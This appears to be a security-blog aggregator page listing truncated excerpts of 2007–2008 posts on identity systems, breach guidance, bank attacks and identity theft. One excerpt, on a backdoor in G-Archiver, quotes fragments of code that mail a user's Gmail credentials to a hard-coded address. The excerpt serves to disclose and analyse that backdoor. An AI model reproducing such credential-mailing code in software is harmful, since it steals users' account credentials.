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The nitty-gritty of information cards and OpenID interoperability

2008-09-01 00:00:00 by Dave Kearns in Network World on Security
 
...occurs simply because it's time for it to occur. It occurs to multiple people in multiple places at, roughly, the same time. Often those ideas, brilliant though they may be in their own right, are simply the extension of the ideas of others - a synthesis of many thoughts to arrive at a new conclusion. That appears to be happening in identity...
 
Tags: idea occurs simply, simply, occurs, user-centric, information cards, major user-centric models, multiple, multiple people, time
 
 
 
 
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White House issues updated guidance to federal agencies for safeguarding sensitive information

2007-05-30 00:00:00 by Shannon Kellogg in Speaking of Security, the RSA Blog and Podcast
 
...occurs. The memo, entitled Safeguarding Against and Responding to the Breach of Personally Identifiable Information " was sent by Clay Johnson, Deputy Director of Management at OMB, to the heads of executive departments and federal agencies. The May 2007 guidance follows the release of the President's Identity Theft Task Force Strategic Plan...
 
Tags: federal agencies, federal agencies respond, guidance, data breach, profile data breaches, breach, executive departments, deputy director, omb
 
 
 
 
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Reliability Vs. Security

2007-12-07 16:46:00 by sdl in The Security Development Lifecycle
 
...occurs more frequently and over longer periods of time; its those annoying little bugs that waste time and force awkward work-arounds. You can pull the band-aid off all at once or endure it a little at a time. The pain is equally unacceptable There is one point I will readily cede to the reliability community: they can teach the security...
 
Tags: folks, reliability folks deal, reliability, reliability folks, security, bugs, reliability bugs, reliability analysis, software reliability
 
 
 
 
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OmniAmerican Bank targeted by cyber criminals

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2008-01-28 11:26:35 by Evan Francen in The Breach Blog
...occurs Evan] Very well put, sad and true Commentary Maybe this was a sophisticated attack like some are claiming. I just think about how easy it could be to carry out a spear phishing attack either to download and install malware or collect a password of a bank employee (because many people use one password for everything) and proxy the...
 
Tags: omniamerican bank, bank, omniamerican bank systems, omniamerican, internal, internal bank systems, debit cards, cards, bank employees
 
 
 
 
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Case Study #9 - When the media cries wolf, we get desensitized to the important things

2007-12-06 11:43:28 by Scott in Scott Wright's Security Views
 
Not every breach is Massive. It cant be. When you have limited resources you have to budget for security across the board. It occurs in every system thats built. We do need to keep an eye on things and hold people accountable to correct problems, but when the media highlights these breaches using hyperbole
 
Tags: hold people accountable, media highlights, resources, hyperbole, correct, massive, system, board, budget
 
 
 
 
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Why Some Terrorist Attacks Succeed and Others Fail

2008-02-28 06:25:13 by schneier in Schneier on Security
 
...occurs Observant public and vigilant security services. OPSEC breaches are a significant factor only if they are noticed. In cases where the public was sensitive to suspicious behavior, lapses in OPSEC were brought to the attention of authorities by ordinary citizens. However, the authorities must likewise be vigilant and recognize the value...
 
Tags: vigilant security services, vigilant, recent terrorist plots, terrorist plots, information fits, information, intelligence information, security services, law enforcement
 
 
 
 
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Do you know how identity theft happens most of the time?

2008-02-29 04:52:00 by John Sexton in The Bullet Proof Blog
 
...occurs most often as a result of hackers gaining unauthorized access to our computers. However, this is not the case I attended a Web 2.0 round table discussion yesterday (called "The New New Internet"). I was quite surprised to hear Mike Bradshaw, a self-described Google Department Head, tell us that the # 1 security concern was not hacking...
 
Tags: time, laptop, average laptop costs, built-in biometric sensor, finger print, time ago, google department head, finger, identity theft occurs
 
 
 
 
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Backdoor in G-Archiver

2008-03-11 14:02:11 by Chris Wysopal in Zero in a bit
 
...occurs. Here is the code public static void CheckConnection(string a, string b try MailMessage message = new MailMessage message.To.Add(JTerry79@gmail.com message.From = new MailAddress(JTerry79@gmail.com, JTerry, Encoding.UTF8 message.Subject = Account message.SubjectEncoding = Encoding.UTF8 message.Body = Username: + a message.Body =...
 
Tags: mailmessage message, message, backdoor, smtpclient client, client, gmail, gmail credentials, credentials, people
 
 
 
 
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Fraud Due to a Credit Card Breach

2008-03-21 06:39:34 by schneier in Schneier on Security
 
...occurs," Spitzer said. "We've been engaged in a dialogue for a couple years now about changing this rule.... Without knowing who the retailer is that caused the breach, it's hard for banks to conduct a good investigation on behalf of their consumers. And it's a problem for consumers as well, because if they know which retailer is responsible,...
 
Tags: breach, data breach occurs, fraud, risk, million unique account, actual risk, card authorization process, retailer, rule
 
 
 
 
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The Checklist

2008-02-07 20:14:00 by Security Retentive in Security Retentive
 
...occurs within a regulatory framework where hospitals must report their incident rates publicly, and there are agencies within government charged with collecting, monitoring, and even in some cases improving on these measurements and results As a result of this public tracking, the key doctor from the paper, Pronovost, was able pretty clearly...